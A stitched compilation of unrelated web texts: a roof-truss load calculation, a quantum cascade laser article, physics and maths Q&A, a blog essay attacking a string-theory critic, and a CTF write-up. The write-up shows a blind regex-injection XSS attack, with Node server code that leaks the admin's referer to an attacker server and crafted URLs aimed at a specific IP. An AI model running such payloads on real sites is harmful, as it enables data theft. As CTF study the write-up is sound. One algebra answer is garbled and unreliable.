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# Pitch refers to the amount of rising a roof has compared to the horizontal measurement of the...

COMMON TERMS:
Pitch(slopetruthfully, but everyone calls it pitch) - refers to the amount of rise a roof has compared to the horizontal measurement of the roof.
Tributary area - area of the structure supported by a structural member.
Dead Load – weight of materials of construction incorporated into the building.
Live Load – loads produced during the maintenance of the workers, equipment, and materials
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TRUSS ANALYSISCOMMON TERMS:Pitch (slope truthfully, but everyone calls it pitch) - refers to the amount of rise a roof has compared to the horizontal measurement of the roof.Tributary area - area of the structure supported by a structural member.Dead Load – weight of materials of construction incorporated into the building.Live Load – loads produced during the maintenance of the workers, equipment, and materials.TRIBUTARY AREASDESIGN / STRUCTURAL DATATruss Span Length L=35.00mtrsTruss Spacing ( Baylenght )ß=6.00mtrsPitch =1 / 4Slope?=26.57°Support:Right end-Roller SupportLeft end -Hinged SupportPitch = ¼ = H / LH = L/4 = 35/4 = 8.75 mL0U1 = ¼ (L/2) 2 + (H) 2 X1 = L0U1 cos ? = L/8 = ¼ (35/2) 2 + (8.75) 2 = 35/8 = 4.89 m = 4.375 mTARS = L0U1 (BL) TAVS = X1 (BL) = 4.89 (6) = 4.375 (6) = 29.35 m2 = 26.25 m2 L0L1 = L0U1 / cos ?  = 4.89 / cos 26.57 = 5.47 m X2 = L/2 – 1.5 L0L1 = 35/2 – 1.5 (5.47) = 9.3 mTA1 = L0L1 ( BL ) = 5.47 ( 6 ) = 32.82 m2TA2 = X2 ( BL ) = 9.3 ( 6 ) = 55.77 m2 DEADLOAD COMPUTATIONSGENERAL DATA:Weight of Roofing( Gauge #24 )WR=216PaWeight of CeilingWC=150PaWeight of InsulationWI=0PaWeight of PurlinsWP=200PaWeigth of Bracing SystemWBC=90PaWeight of Ceiling joistsWCJ=80PaWeight of Service Loads / Miscellaneous LoadsWS=0PaWeight of Truss( Empirical Formula )WT=35.9 ( 1 + L/3.048 )( Steel Truss )WT=448.14Pa ( Horizontal Surface )Note: Weight of Truss is to be distributed equally between the top and botom chord.DEADLOAD ON TOP CHORDDL on Topchord = (roofing + purlins + bracings ) ( TARS ) + ( ½ ) WT (TAVS) = ( 216 + 200 + 90 ) 29.35 + (1/2) (448.14 ) (26.25 ) = 20732.09 N say 21 KNDEADLOAD ON BOTTOM CHORDOn panel points L1 & L1’ = ( ceiling + ceiling joist ) (TA1 ) + ½ WT (TA1 ) = ( 150 + 80 ) 32.82 + (1/2) (448.14 ) (32.82 ) = 14902.58 N say 15 KNOn panel points L2 & L2’ = ( ceiling + ceiling joist ) (TA2 ) + ½ WT (TA2 ) = ( 150 + 80 ) 55.77 + (1/2) (448.14 ) (55.77 ) = 25323.48 N say 26 KN.LIVELOAD...

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My watch list
my.chemeurope.com

Quantum cascade lasers (QCLs) are semiconductor lasers that emit in the mid- to far-infrared portion of the electromagnetic spectrum and were first demonstrated by Jerome Faist, Federico Capasso, Deborah Sivco, Carlo Sirtori, Albert Hutchinson, and Alfred Cho at Bell Laboratories in 1994.[1]

Unlike typical interband semiconductor lasers that emit electromagnetic radiation through the recombination of electron–hole pairs across the material band gap, QCLs are unipolar and laser emission is achieved through the use of intersubband transitions in a repeated stack of semiconductor superlattices, an idea first proposed in the paper "Possibility of amplification of electromagnetic waves in a semiconductor with a superlattice" by R.F. Kazarinov and R.A. Suris in 1971.[2]

## Intersubband vs. interband transitions

Within a bulk semiconductor crystal, electrons may occupy states in one of two continuous energy bands - the valence band, which is heavily populated with low energy electrons and the conduction band, which is sparsely populated with high energy electrons. The two energy bands are separated by an energy band gap in which there are no permitted states available for electrons to occupy. Conventional semiconductor laser diodes generate light by a single photon being emitted when a high energy electron in conduction band recombines with a hole in the valence band. The energy of the photon and hence the emission wavelength of laser diodes is therefore determined by the band gap of the material system used.

A QCL however does not use bulk semiconductor materials in its optically active region. Instead it comprises a periodic series of thin layers of varying material composition forming a superlattice. The superlattice introduces a varying electric potential across the length of the device, meaning that there is a varying probability of electrons occupying different positions over the length of the device. This is referred to as one-dimensional multiple quantum well confinement and leads to the splitting of the band of permitted energies into a number of discrete electronic subbands. By suitable design of the layer thicknesses it is possible to engineer a population inversion between two subbands in the system which is required in order to achieve laser emission. Since the position of the energy levels in the system is primarily determined by the layer thicknesses and not the material, it is possible to tune the emission wavelength of QCLs over a wide range in the same material system.

Additionally, in semiconductor laser diodes, electrons and holes are annihilated after recombining across the band gap and can play no further part in photon generation. However in a unipolar QCL, once an electron has undergone an intersubband transition and emitted a photon in one period of the superlattice, it can tunnel into the next period of the structure where another photon can be emitted. This process of a single electron causing the emission of multiple photons as it traverses through the QCL structure gives rise to the name cascade and makes a quantum efficiency of greater than unity possible which leads to higher output powers than semiconductor laser diodes.

## Operating principles

### Rate equations

QCLs are typically based upon a three-level system. Assuming the formation of the wavefunctions is a fast process compared to the scattering between states, the time independent solutions to the Schrodinger equation may be applied and the system can be modelled using rate equations. Each subband contains a number of electrons ni (where i is the subband index) which scatter between levels with a lifetime τif (reciprocal of the scattering rate Wif), where i and f are the initial and final subband indices. Assuming that no other subbands are populated, the rate equations for the three laser levels are given by:

$\frac{\mathrm{d}n_3}{\mathrm{d}t} = I_{\mathrm{in}} + \frac{n_1}{\tau_{13}} + \frac{n_2}{\tau_{23}} - \frac{n_3}{\tau_{31}} - \frac{n_3}{\tau_{32}}$

$\frac{\mathrm{d}n_2}{\mathrm{d}t} = \frac{n_3}{\tau_{32}} + \frac{n_1}{\tau_{12}} - \frac{n_2}{\tau_{21}} - \frac{n_2}{\tau_{23}}$

$\frac{\mathrm{d}n_1}{\mathrm{d}t} = \frac{n_2}{\tau_{21}} + \frac{n_3}{\tau_{31}} - \frac{n_1}{\tau_{13}} - \frac{n_1}{\tau_{12}} - I_{\mathrm{out}}$

In the steady state, the time derivatives are equal to zero and Iin = Iout = I. The general rate equation for electrons in subband i of an N level system is therefore:

$\frac{\mathrm{d}n_i}{\mathrm{d}t} = \sum\limits_{j=1}^N\frac{n_j}{\tau_{ji}}-n_i\sum\limits_{j=1}^N\frac{1}{\tau_{ij}}+I(\delta_{i0}-\delta_{iN})$,

Under the assumption that absorption processes can be ignored (which is valid at low temperatures), the middle rate equation gives

$\frac{n_3}{\tau_{32}} = \frac{n_2}{\tau_{21}}$

Therefore if τ32 > τ21 (i.e. W21 > W32) then n3 > n2 and a population inversion will exist. The population ratio is defined as

$\frac{n_3}{n_2} = \frac{\tau_{32}}{\tau_{21}} = \frac{W_{21}}{W_{32}}$

If all N steady-state rate equations are summed, the right hand side becomes zero, meaning that the system is underdetermined, and it is possible only to find the relative population of each subband. An additional equation is required to set the total number of carriers equal to the total number of dopant ions:

$\sum\limits_{i=1}^{N}n_i=N_{\mathrm{2D}}$.

### Active region designs

The scattering rates are tailored by suitable design of the layer thicknesses in the superlattice which determine the electron wave functions of the subbands. The scattering rate between two subbands is heavily dependent upon the overlap of the wave functions and energy spacing between the subbands. The figure shows the wave functions in a three quantum well (3QW) QCL active region and injector.

In order to decrease W32, the overlap of the upper and lower laser levels is reduced. This is often achieved through designing the layer thicknesses such that the upper laser level is mostly localised in the left-hand well of the 3QW active region, while the lower laser level wave function is made to mostly reside in the central and right-hand wells. This is known as a diagonal transition. A vertical transition is one in which the upper laser level is localised in mainly the central and right-hand wells. This increases the overlap and hence W32 which reduces the population inversion, but it increases the strength of the radiative transition and therefore the gain.

In order to increase W21, the lower laser level and the ground level wave functions are designed such that they have a good overlap and to increase W21 further, the energy spacing between the subbands is designed such that it is equal to the longitudinal optical (LO) phonon energy (~36 meV in GaAs) so that resonant LO phonon-electron scattering can quickly depopulate the lower laser level.

## Material Systems

The first QCL was fabricated in the InGaAs/InAlAs material system lattice-matched to an InP substrate.[citation needed] This particular material system has a conduction band offset (quantum well depth) of 520 meV.[citation needed] These InP-based devices have reached very high levels of performance across the mid-infrared spectral range, achieving high power, above room-temperature, continuous wave emission.[citation needed]

In 1998 GaAs/AlGaAs QCLs were demonstrated by Sirtori et al proving that the QC concept is not restricted to one material system.[citation needed] This material system has a varying quantum well depth depending on the aluminium fraction in the barriers.[citation needed] Although GaAs-based QCLs have not matched the performance levels of InP-based QCLs in the mid-infrared, they have proven to be very successful in the Terahertz region of the spectrum.[citation needed]

The short wavelength limit of QCLs is determined by the depth of the quantum well and recently QCLs have been developed in material systems with very deep quantum wells in order to achieve short wavelength emission. The InGaAs/AlAsSb material system has quantum wells 1.6 eV deep and has been used to fabricate QCLs emitting at 3 μm.[citation needed] InAs/AlSb QCLs have quantum wells 2.1 eV deep and electroluminescence at wavelengths as short as 2.5 μm has been observed.[citation needed]

QCLs may also allow laser operation in materials traditionally considered to have poor optical properties. Indirect bandgap materials such as silicon have minimum electron and hole energies at different momentum values. For interband optical transitions, carriers change momentum through a slow, intermediate scattering process, dramatically reducing the optical emission intensity. Intersubband optical transitions however, are independent of the relative momentum of conduction band and valence band minima and theoretical proposals for Si/SiGe quantum cascade emitters have been made.[3]

## Emission wavelengths

QCLs currently cover the wavelength range from 2.7 - 250 μm (and extends to 355 μm with the application of a magnetic field).[citation needed]

## Optical waveguides

The linewidth of QCLs is narrowed by incorporating a waveguide into the design, thus amplifying one particular wavelength. Often a structure called a Distributed Bragg reflector (DBR) is built on top of the laser crystal to prevent it from emitting at other than the desired wavelength. Distributed Bragg reflector lasers, characterized by the DBR being outside of the gain medium, should not be confused with distributed feedback (DFB) lasers where the DBR is incorporated into the gain medium.

## Growth

The alternating layers of the two different semiconductors which form the quantum heterostructure are grown on to a substrate using molecular beam epitaxy (MBE) or metalorganic vapour phase epitaxy (MOVPE).

## Applications

The laser's high optical power output, tuning range and room temperature operation make it useful for spectroscopic applications like the remote sensing of environmental gases and pollutants in the atmosphere. It may eventually be used for vehicular cruise control in conditions of poor visibility, collision avoidance radar, industrial process control, and medical diagnostics such as breath analyzers. QCLs are also being used to study plasma chemistry.

The 3 - 5 μm atmospheric window is also coverable by QCLs paving the way for high-speed, free-space optical communication links which could prove useful for providing high-speed internet access in built up areas as expensive optical fibre installation can be avoided.

Quantum cascade lasers were first commercialized in 2004[4].

## References

1. ^ Faist, Jerome; Federico Capasso, Deborah L. Sivco, Carlo Sirtori, Albert L. Hutchinson, and Alfred Y. Cho (April 1994). "Quantum Cascade Laser". Science 264 (5158): 553-556. doi:10.1126/science.264.5158.553. Retrieved on 2007-02-18.
2. ^ Kazarinov, R.F; Suris, R.A. (April 1971). "Possibility of amplification of electromagnetic waves in a semiconductor with a superlattice". Fizika i Tekhnika Poluprovodnikov 5 (4): 797-800.
3. ^ Paul, Douglas J (2004). "Si/SiGe heterostructures: from material and physics to devices and circuits". Semicond. Sci. Technol. 19: R75-R108. doi:10.1088/0268-1242/19/10/R02. Retrieved on 2007-02-18.
4. ^ Alpes offers CW and pulsed quantum cascade lasers. Laser Focus World. PennWell Publications (2004-04-19). Retrieved on 2007-12-01.

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Rating:

The flag is in the admin's note, so we had to do XSS.
Looking at app.js carefully, we realized that line 60 builds a regular expression object from an arbitrary input of document.location.search and line 61 does a test using the regular expression object.
Thus, we decided to do a blind regular expression injection attack, which is explained in https://diary.shift-js.info/blind-regular-expression-injection/.
When we set document.location.search to (?=^He11o")((((.*)*)*)*)*salt, one of the following two things occurs.

* If there is a note that starts with He11o, the evaluation of the regular expression will take a long time and slow down browsers.
* If there is not, the evaluation will be done quickly.

Therefore, we wrote the server-side script that does not serve an image quickly but waits 2 seconds and redirects browsers to another server.

const http = require('http');
const { performance } = require('perf_hooks');
const { URL } = require('url');
const server = http.createServer((req, res) => {
setTimeout(() => {
'Location': 'http://ourserver.example.com:8001/?r=' + encodeURIComponent(req.headers.referer) + '&s=' + encodeURIComponent(performance.now())
});
res.end();
}, 2000);
});
server.listen(8000);

const server2 = http.createServer(function (req, res) {
const url = new URL(req.url, 'http://ourserver.example.com:8001');
console.log(url.searchParams.get('r'));
console.log(performance.now() - parseInt(url.searchParams.get('s')));

Therefore, making the admin visit http://34.84.161.130:18364/?^(?=^TSGCTF\{A)((((.*)*)*)*)*salt#http://ourserver.example.com:8000/, http://34.84.161.130:18364/?^(?=^TSGCTF\{B)((((.*)*)*)*)*salt#http://ourserver.example.com:8000/, ..., we determined the flag.


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# Tag Info

3

The argument is that the air was flowing through the hole at around 700 mph, so the air inside the aircraft had a substantial velocity in the direction of the hole. The air velocity inside the plane would have been less than 700 mph because the flow was converging on the hole, but the speed of the air would still have been hundreds of mph. When the hole was ...

1

Air pressure exists because if we place something in a gas, then the molecules/atoms flying around will keep banging into it, and in this way produce a net constant force per unit area. As explained by @Chris2807 in the neat formula $P=n k_{B} T$, this is proportional to how many particles there are (since this is proportional to the amount of "banging" in ...

4

In some sense yes. Let me explain a little. If we were to take a sealed container of gas and put it into free space far away from other bodies so that the gravitational force on the box is negligible would you agree that there would still be some pressure in the container? If we assume we have an ideal gas then the pressure is simply given by $$P=nk_{B}T$$ ...

3

In general, air pressure in the Earth's atmosphere is hydrostatic pressure, caused by the Earth's gravitational field. If there was no gravity then there wouldn't be any centripetal force and all the air molecules would just float away into space. This is why there is no atmosphere on the moon - because it doesn't have enough gravity to sustain one.

0

Camera sensitivity is a common topic. In short they mimic the sensitivity of the human eye. Also your statement that we can see violet in pictures of violet objects is not accurate. It refers to violet as a color, not the 'violet wavelengths' of the spectrum. When we see violet objects we do not see 'violet wavelength' light as much as other wavelengths ...

1

Yes: the insolation can be evened out quite a bit. Tidal locking can be an odd half multiple (like 3:2 of Mercury), the orbit eccentric and inclined. A presentation on the SETI Weekly Seminar Series showed simulations of surface temperature maps and was able to get rather uniform results or at least much smoother gradients than previously supposed. Either ...

1

I suggest to compare human produced heat with the incident heat of the sun which is around 1 kW/m$^2$. The usual comparison is "the sun delivers more heat in an hour than humans use in a day". While such a comparison may not remain accurate forever, a difference in scale of 7000x suggests that even if humans doubled thei energy consumption every 17 years ...

2

Global energy consumption is $5\times10^{20}\ J/yr$ Assume it is all used to power incandescent lightbulbs, so 95% goes to heating the atmosphere The mass of the atmosphere is $5\times10^{18}\ kg$ The heat capacity of air is $1\times10^{3}\frac{J}{kg\cdot °C}$ Assuming all the heat goes to the atmosphere and stays there, using the definition of heat ...

2

Q=mc(t1-t2) You need to calculate C, the specific heat capacity of Earth(as a whole). You need to calculate the specific heat capacity of everything present on, inside earth for that purpose. It might be possible after we advance a bit more further:).

2

Starlight, as emitted by a star, comes in a wide range of colours. For instance see the picture below. Now this is a picture, and pictures can often be tricky with their representation of colour, so you'll have to take my word for it that Betelgeuse does look significantly redder to the naked eye than say Vega until you get a chance to go look yourself on ...

4

The colour of stars as observed by an observer on Earth varies just like the colour of our own Sun, depending on where in the sky the source is relative to the observer. However, the light of stars is generally too faint to notice this as clearly with the naked eye, because we cannot perceive colour for weak light sources.

3

No, Rayleigh scattering models the probability (and angle) of scattering as a function of wavelength and of the particle sizes. All wavelengths travel a long way but the path followed (scatter or nonscatter) varies. Since space is mostly "empty", there's little scattering. Beyond that, your understanding of stars is quite incomplete. THey do in fact have ...

5

What causes sunburns is UV radiation, which damages our skin cells. Heat on the other hand is the same as the one felt when near an incandescent light bulb (doesn't cause sunburns). Most of the UV radiation coming from the sun is absorbed by the earth's atmosphere. During sunset and sunrise the radiation emitted by the sun passes through more air until ...

27

In general, the sun's light (particularly the UV that causes sunburn) has to pass through a lot more atmosphere (or a greater amount of air mass) in the morning and evening to get to a vertical surface than it does when it is at zenith to a horizontal surface. An example is shown in the generalised image below (all graphs are obviously generalised): The ...

0

I would like to expand here on the mechanisms of scattering. Light is scattered by particles in the air which act like dipoles, and oscillate because of the electromagnetic frequency of light. Oscillating dipoles may emit a different frequency. There are two mechanisms of scattering. Rayleigh scattering: This occurs when particle sizes are smaller than ...

Top 50 recent answers are included


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# If f(x)=4x^-5 and g(x)=x^3/4, then what is g(f(x))?

I found: $g \left[f \left(x\right)\right] = \frac{16}{x} ^ 15$
I would use $f \left(x\right)$ inside $g \left(x\right)$ instead of $x$ as:
$g \left[f \left(x\right)\right] = {\left[\textcolor{red}{4 {x}^{-} 5}\right]}^{3} / 4 = \frac{{4}^{3}}{4} \cdot {x}^{-} 15 = {4}^{2} / {x}^{15} = \frac{16}{x} ^ 15$


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## Physics for Scientists and Engineers: A Strategic Approach with Modern Physics (4th Edition)

(a) $\lambda = 10.0~nm$ (b) $f = 3.00\times 10^{16}~Hz$ (c) $B_0 = 6.67\times 10^{-8}~T$
We can write the general equation for an electric field: $E = E_0~cos(kx-\omega t)$ We can write the equation for this electric field: $E_y = (20.0~V/m)~cos[(6.28\times 10^8)x-\omega t]$ (a) We can find the wavelength: $\lambda = \frac{2\pi}{k}$ $\lambda = \frac{2\pi}{6.28\times 10^8}$ $\lambda = 1.00\times 10^{-8}~m$ $\lambda = 10.0~nm$ (b) We can find the frequency: $f = \frac{c}{\lambda}$ $f = \frac{3.0\times 10^8~m/s}{1.00\times 10^{-8}~m}$ $f = 3.00\times 10^{16}~Hz$ (c) We can find the magnetic field amplitude: $B_0 = \frac{E_0}{c}$ $B_0 = \frac{20.0~V/m}{3.0\times 10^8~m/s}$ $B_0 = 6.67\times 10^{-8}~T$


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# Question a4544

Mar 14, 2016

$\text{119.991 u}$

#### Explanation:

The first thing to note here is that you're dealing with an ionic compound, which means that you're actually looking for the mass of $3$ formula units o sodium hydroxide, $\text{NaOH}$.

Now, the unified atomic mass unit, $u$, is defined as the mass of $\frac{1}{12} \text{th}$ of the mass of a single, unbound, neutral carbon-12 atom in its electronic ground state.

More importantly, it's worth remembering that one unified atomic mass unit is approximately equal to the mass of one proton or of one neutron, i.e. of one nucleon.

In simple terms, one unified atomic mass unit is equivalent to ${\text{1 g mol}}^{- 1}$

$\textcolor{b l u e}{| \overline{\underline{\textcolor{w h i t e}{\frac{a}{a}} {\text{1 u " = " 1 g mol}}^{- 1} \textcolor{w h i t e}{\frac{a}{a}} |}}}$

Use the molar mass of sodium hydroxide to find how many unified atomic mass units you get per formula unit

39.997color(red)(cancel(color(black)("g mol"^(-1)))) * "1 u"/(1color(red)(cancel(color(black)("g mol"^(-1))))) = "39.997 u"

This means that three formula units of sodium hydroxide will have a mass of

$3 \textcolor{red}{\cancel{\textcolor{b l a c k}{\text{formula units"))) * "39.997 u"/(1color(red)(cancel(color(black)("formula unit")))) = color(green)(|bar(ul(color(white)(a/a)"119.991 u} \textcolor{w h i t e}{\frac{a}{a}} |}}}$

The calculation you did in your suggested solution gives you the mass of three formula units of sodium hydroxide expressed in grams, not in unified atomic mass units.

Since the molar mass of a compound tells you the mass of one mole of said compound, you can use Avogadro's number to determine the mass of a single formula unit of sodium hydroxide.

$\textcolor{b l u e}{| \overline{\underline{\textcolor{w h i t e}{\frac{a}{a}} \text{1 mole" = 6.022 * 10^(23)"formula units} \textcolor{w h i t e}{\frac{a}{a}} |}}} \to$ Avogadro's number

In this case, you would have

$39.997 \text{g"/color(red)(cancel(color(black)("mol"))) * overbrace((1color(red)(cancel(color(black)("mol"))))/(6.022 * 10^(23)"f. units"))^color(purple)("Avogadro's number") = 6.642 * 10^(-23)"g/f. unit}$

This means that three formula units will have a mass of

3color(red)(cancel(color(black)("f. units"))) * (6.642 * 10^(-23)"g")/(1color(red)(cancel(color(black)("f. unit")))) = 1.993 * 10^(-22)"g"#


text:
562 views

The number of possible binary trees with $4$ nodes is

1. $12$
2. $13$
3. $14$
4. $15$

Since its not mentioned whether the nodes are labelled or not, so taking un-labelled nodes in general,

maximum number of binary trees = 2nCn / n+1

This gives 14 binary trees which is option C

by

$\textit{There is one binary tree with one node. }$

$\textit{There are two differently shaped trees with two nodes. }$

$\textit{There are 14 different (shaped) binary trees with four nodes.}$

$\textit{These different trees are shown below.}$

https://www.geeksforgeeks.org/total-number-of-possible-binary-search-trees-with-n-keys/

by

1 vote
1
799 views


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## Tuesday, May 01, 2012 ... /////

### Eugene: Reds shifting and redshifting

Guest blog by Eugene Seidel

In 1986 Robert Nozick, professor of philosophy at Harvard and author of Anarchy, State and Utopia among numerous other works, published an essay titled Why Do Intellectuals Oppose Capitalism. (An abridged version of the essay appears at the Cato Institute website.)

Nozick's essay describes the resentment felt by many “wordsmiths”, people who mourn the loss of their status as verbally proficient pupils favored by teachers in elementary and secondary school. The essay then goes on to make a plausible case for why this should lead to rejection of capitalism (or, as I would say, the free market). As they get left behind by their more quantitatively oriented peers, who begin earning greater material and immaterial rewards, a feeling of injustice sets in among the newly un-advantaged, who cast about for remedies. A political ideology that apportions to the “deserving” what is their “rightful share” then becomes an attractive proposition as a way to right a perceived wrong.

Nearly three decades have passed since first publication of the essay. In the interim, the Soviet Union crumbled and Marxist-Leninist ideology was consigned to the ash heap of history along with central planning of the economy (except for Cuba and North Korea). For the resentful and aggrieved, the favored target upon which to vent frustration has shifted. They have rolled up their red flags and unfurled green ones instead. Blatant anti-capitalism has turned into a more subtle variant that finds its expression in alarmism about man-made climate change, attended by prescriptions for a wholesale redesign of the world economy. Ample documentation of the bizarre forms this alarmism can take is readily available on this website.

However, a broader version of this syndrome goes beyond the “resentful wordsmiths” category. Today the syndrome should probably be extended to include a large proportion of mathematically and scientifically literate people whose powers of comprehension unfortunately are insufficient to encompass much of contemporary science, especially theoretical physics.

These people have been left behind by some of the advances in modern science. This was not supposed to happen. Their stellar record at STEM tasks in high school (and frequently, at university level) conditioned them to expect that they would always belong to a cognitive elite capable of mastering difficult scientific problems. It is a natural psychological reaction to reject out of hand that which defeats one's efforts to understand. The number one popular outlet for these frustrations have always been quantum mechanics and Einstein's theories of (special and general) relativity, but lately string theory has joined them in the hotseat.

Among the reasons why string theory has come in for so much vituperation may be the widespread perception that this field is the most arcane and impenetrable in theoretical physics. Whether this is in fact so – and whether people who reject string theory out of hand might not find themselves similarly out of their depth when attempting to review, say, cutting-edge research in fluid dynamics or solid-state physics – is something that I am unable to judge.

LM: Happy International Workers' Day to all hardcore and softcore communist TRF readers! As a gift, I embedded my favorite builders-of-socialism song, With Singing And Laughter. Via budovatel.cz

Celebrating ignorance

Alexander Unzicker (EN), a math and science teacher at a Munich high school with a Ph.D. in neuroscience, might seem an unlikely candidate to write a best-selling book that damns almost all physics done in recent times into the ground. Until 2010 he had not been in the public's eye. His book Vom Urknall zum Durchknall (a pun that might be translated as “From Big Bang to Big Whacky”) changed that. It is one unbroken rant laced with invectives. By his own admission he “understands little of string theory” (p. 16) but that does not stop him from railing against it and its proponents for hundreds of pages.

The trouble began in 1955, the year of Einstein's death, with Wheeler's quantum foam and since then, “wormholes and other unmeasurable sci-fi nonsense have been pouring from theoreticians' heads” (p. 220). Inflation is an “extremely speculative approach that never stood a chance of experimental confirmation” (p. 165). And so on and so forth. Alan Guth should have “consulted a psychologist” (p. 162), Leonard Susskind is “simply clueless” (p. 109), Lisa Randall “engages in circular reasoning” (p. 252), “Pope Edward Witten” is “transformed into a Galileo-like heretic by crooks wearing police uniforms” (p. 239). (Quotations translated from German by E.S.)

Look, ma! I'm on ArXiv!

Strong words, but surely the author has an alternative to offer? Indeed he does, having submitted a number of papers to ArXiv. Let us pick one at random. The VSL Discussion: What Does Variable Speed of Light Mean and Should we be Allowed to Think About? [sic]. (I will do my best to transfer the author's unusual English, by way of guessing at what he first wrote in German, into something intelligible to TRF readers, but I make no assurances that I always get it right.) The paper is transparently an attack on this 2008 paper by George Ellis. Dr. Motl summarizes the key points in Ellis' paper here and I'm willing to bet any amount that comments #3 and #5 in the slow comments are from Unzicker.

Ellis aimed to “provide the reader with a toolkit enabling a critique of any VSL paper, checking if it meets some basic criteria that can be claimed to be fundamental for an adequate discussion of VSL proposals”. Unzicker is offended by this proposal in the extreme. He sneers, “what a pity that Einstein in 1911 could not make use of check-lists like [1] - maybe he would have refrained from developing weird theories about a curved spacetime...”.

At one point Unzicker concedes that “VSL has obviously to consider the influence on other fields since changing c in one context only would be a rather weird and fruitless trial,” but insists elsewhere that “[s]etting up guidelines for the development of possible new ideas, however, does not provide any real progress”.

Even the most basic ethics are flouted. Ellis writes:
“Implication 5: Any varying speed of light theory must be done consistently in terms of its effects on the whole set of physical equations. You can’t just allow c to vary in some equations and not in others; and the proposed variation in c in these equations requires some viable physical explanation in order to complete the set of causal relations.”
Unzicker misquotes:
“Neither do we need warnings that anything else that the standard model is dangerous, and statements like ‘if you think about anything else than the standard model, you have to deliver a complete solution immediately’ ([1], implication 5).”
Pearls before swine

It is hard to come to any conclusion other than in Unzicker's case, the care Ellis took to explain the fundamentals was a wasted effort: pearls before swine. What's all the more remarkable is that throughout his book, Unzicker cites Einstein as an authority and as the shining example that today's physicists fail to measure up to. Yet he claims Einstein as support for his belief that a VSL theory is needed, which makes it doubtful he ever understood him in the first place.

One might have expected that Unzicker's book would have been panned by mainstream publications on its appearance. Not so. Astonishingly, Spektrum der Wissenschaft (the German edition of Scientific American) gave it a glowing review (EN), a review that in turn was subjected to scathing criticism on German-language website relativ-kritisch (EN). As if adding insult to injury, a panel of German science journalists writing for reputable periodicals subsequently awarded it the prestigious “Science Book of the Year Prize” (EN) for 2010 in the “Hot-Button Issues” category. As of today, it is ranked no. 1 on amazon.de among astrophysics books.

A common animus

Unzicker's paper amounts to yelling, “You're not the boss of me!”, an attitude more appropriate to a belligerent teenager than a grown man claiming to have something to say on physics. Unsurprisingly the paper has collected zero citations since its publication in 2007. (But the fact that it made it onto ArXiv at all – even if it's only in gen-ph – makes one wonder about their supposed efficiency as gatekeepers.)

The angry flouting of bedrock physics by people who count themselves as scientifically literate mirrors the rejection of the free market by “wordsmiths” described by Nozick. In both cases the underlying animus is a form of anti-social sentiment fueled by a sense of injured pride. And while it is principally their loss if they close themselves off from some of the benefits of modernity, their obstinacy affects the rest of us, too, in the way that barnacles sticking to a ship's hull impede its forward motion.

Image: 3C 295, we hardly knew ye. Image credit: NASA (copyright-free)

Out of sight, out of mind

It is possible that the “complexity divide” will continue to widen in the future and that progressively fewer people will be able to follow new advances in the sciences, even in principle. This is not because of time constraints (and in any case, there may never have been a time in human history when someone could have absorbed and critically evaluated the whole of human knowledge) but due to cognitive barriers.

More and better science education could help to boost appreciation for fundamental research and immunize lay people against quacks and crackpots. Certainly, the tireless outreach that Dr. Motl is doing on The Reference Frame goes a long way towards bridging gaps and exciting people from all walks of life to take an interest in science. However, there may yet come a day when – akin to galactic clusters being driven apart from one another by “dark energy” – work performed by the most highly advanced researchers will redshift out of sight of even their peers, and long before then, the rest of us. I hope that day never arrives, but in the meantime we are fortunate to be living in an era when we can still participate (directly or vicariously) in some of the most fascinating pursuits open to the human race.

Eugene Seidel is a translator and interpreter based in Germany, with a lifelong amateur's interest in science.

LM: May 1st is the day of love. The Czechs associate it with the ultimate romantic poem by Karel Hynek Mácha (1810-1836), "Máj" (the civil term for "May" is actually "květen" so "Máj" is already poetic). Audio, English translation (II). The song by Mr Karel Gott above was just inspired by Mácha's poem.


text:
# Tag Info

2

[Sorry, I'm new here and accidently posted this as an answer and its just meant as a comment responding to a question, but it does not let me delete answers to put it under comments. If I last long enough, I'm sure I'll figure out how to edit things.] PCA is an eigenvalue/eigenvector decomposition of the data frequently applied in risk management to look ...

1

You can find it on http://www.forexfactory.com/. Click details on "Non-Farm Employment Change" and you will have consensus and actual data for last 15+ years.

1

You need to assign each of the target variables to their own column and then train a model for each of your forecast horizons library(quantmod) symbol= getSymbols("AAPL",from="2010-03-01", auto.assign=F) close<-Cl(symbol) open<-Op(symbol) lc1<-lag(close) lc2<-lag(close,2) lc3<-lag(close,3) lo1<-lag(open) lo2<-lag(open,2) lo3<-lag(...

1

It is too much too text so I take screenshots and the link to Rob Hynman's blog entry: If you formulate the ARIMA model likes this: Then you get these long term forecasts:

1

There is probably nothing wrong with your code although I did not check it in Mathematica. Normally, Geometric Brownian motion is just a model. Here, you simulate lots of paths and then average over it. The first plot gives something like $$E(S_t) = S_0*\exp(\mu t)$$ with $S_0$ the initial stock price. However, because of the simulation, you do not get ...

1

I dont think neither of both ideas are to be very fertile in the present structures of banks or asset management firms. There are several factors that have influenced the birth of algo trading. 1) The development of computer processing capacity behyond human capabilities which provided the hability to process more information than any team would. This will ...

1

You are right - GARCH model models volatility. They write: " The GARCH [27] can be used to model changes in the variance of the errors as a function of time." What people often do is to fit an ARIMA model (that can be used to forecast a time series) and apply a GARCH model to the errors (which gives you a feeling for the forecast error). See Hyndman and ...

1

Obviously a perfect forecast for interest rates is a bit hard to come by, such a thing would make the inventor quite a tidy sum. Broadly, the task you're seeking to accomplish falls under the banner of yield curve modeling, and there is a very substantial body of research in this area, including several good books. There are some canonical examples of ...

1

You are probably computing autocorrelation in the prices. If you compute autocorrelation between the returns or log returns then you will not see the results you are getting. This is because: Tomorrow's price will always be influenced by lagged prices and the series will not look weak stationary if you plot it. The direct differencing doesn't help either ...

1

Check your calculations, gold prices are indeed auto-correlated. acf(diff(log(OilGold\$price_gold))) will yield no auto-correlation in gold log-returns.

Only top voted, non community-wiki answers of a minimum length are eligible


text:
# Number of fixed vectors in group action

The group $S_3$ of permutation of $\{1,2,3\}$ acts on the three-dimensional vector space over the finite field $\Bbb F_3$ of three elements, by permuting the vectors in basis $\{e_1,e_2,e_3\}$ by $$\sigma\cdot e_i=e_{\sigma(i)}, \quad i=1,2,3$$ for all $\sigma \in S_3$. The cardinality of the set of the vectors fixed under the above action is:

a) 0
b) 3
c) 9
d) 27

Attempt: If $\sigma$ is identity permutation then $\sigma\cdot e_i=e_{\sigma(i)}=e_i$ so all the basis elements will be fixed. For $\sigma$ non identity we can proceed further but that will be long and time taking, So I am looking for general formula and approach to tackle this type of problem.

You have the set $X=\mathbb{F}_3^3=\{(a,b,c):a,b,c\in\mathbb{F}_3\}$.

You have the group $G=S_3=\{e,(12),(13),(23),(123),(132)\}$.

The set of elements of $X$ fixed by the action is $X^G=\{x\in X:\sigma x= x\text{ for all }\sigma\in G\}$.

